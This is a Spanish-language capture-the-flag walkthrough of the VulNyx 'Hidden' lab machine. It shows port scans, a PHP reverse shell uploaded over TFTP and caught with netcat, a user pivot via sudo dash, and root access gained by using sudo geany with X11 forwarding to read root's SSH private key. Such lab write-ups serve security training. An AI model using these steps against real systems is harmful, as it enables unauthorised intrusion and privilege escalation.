VulNyx - Hidden
- Upload Shell
- Abusing Dash Binary
- SSH X11 Forwarding
Escaneo de puertos
❯ nmap -p- -T5 -v -n 192.168.1.15
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Al no encontrar nada realizo un escaneo de puertos UDP y encuentro el puerto 69.
❯ sudo nmap -sU --top-ports 1000 192.168.1.15
PORT STATE SERVICE
69/udp open|filtered tftp
Me conecto al servidor TFTP y subo una shell.
❯ tftp 192.168.1.15 69
tftp> put rs.php
tftp> quit
Uso curl para activar la shell.
curl -s http://192.168.1.15/rs.php
Obtengo la shell.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.15] 33534
Linux hidden 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 GNU/Linux
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@hidden:/$
Enumero permisos de sudo para pivotar de www-data a satan.
www-data@hidden:/home$ sudo -l
sudo: unable to resolve host hidden: Name or service not known
Matching Defaults entries for www-data on hidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on hidden:
(satan) NOPASSWD: /usr/bin/dash
Para pivotar de usuario uso este recurso gtfobins
www-data@hidden:/home$ sudo -u satan /usr/bin/dash
$ id
uid=1000(satan) gid=1000(satan) groups=1000(satan)
Enumero permisos de sudo.
satan@hidden:~$ sudo -l
Matching Defaults entries for satan on hidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User satan may run the following commands on hidden:
(ALL : ALL) NOPASSWD: /usr/bin/geany, /usr/bin/xauth
En este paso he creado un archivo authorized_keys para poder conectarme a la máquina objetivo mediante ssh, una vez conectado lanzo geany y me muestra el siguiente mensaje:
satan@hidden:~$ geany
Unable to init server: No se pudo conectar: Conexión rehusada
Geany: cannot open display
SSH X11 forwarding
Me voy a /etc/ssh/ssh_config para comprobar que el servidor tiene habilitado el X11 forwarding.
X11Forwarding yes
Me conecto al sistema con el parámetro -X
.
ssh -X satan@192.168.1.15
Ahora si lanzo geany verifico que el servidor X11 funciona correctamente.
X11 es el servidor gráfico que usan la mayoría de distribuciones GNU-Linux. Este servidor permite, entre otras cosas, forwarding a través de SSH. Esto significa que es posible ejecutar aplicaciones gráficas de una máquina remota exportando el display a nuestro escritorio. Es decir, la aplicación se ejecuta en el servidor remoto, pero la interfaz gráfica la visualizamos en nuestro escritorio local.
Con xauth veo la magic-cookie del usuario satan, esta magic-cookie es un protocolo de autorización.
satan@hidden:~$ xauth list
hidden/unix:10 MIT-MAGIC-COOKIE-1 00ecfb40390ae6e2f8adb8c6c7f50057
satan@hidden:~$ xauth info
Authority file: /home/satan/.Xauthority
File new: no
File locked: no
Number of entries: 1
Changes honored: yes
Changes made: no
Current input: (argv):1
Añado la magic-cookie de root.
satan@hidden:~$ sudo /usr/bin/xauth add $(xauth list $DISPLAY)
sudo: unable to resolve host hidden: Nombre o servicio desconocido
Lanzo geany apuntando al id_rsa de root.
satan@hidden:~$ sudo /usr/bin/geany /root/.ssh/id_rsa
Una vez tengo la llave rsa me conecto como root al sistema.
❯ ssh -i root_rsa root@192.168.1.15
Linux hidden 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
root@hidden:~# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Hidden.
Saludos!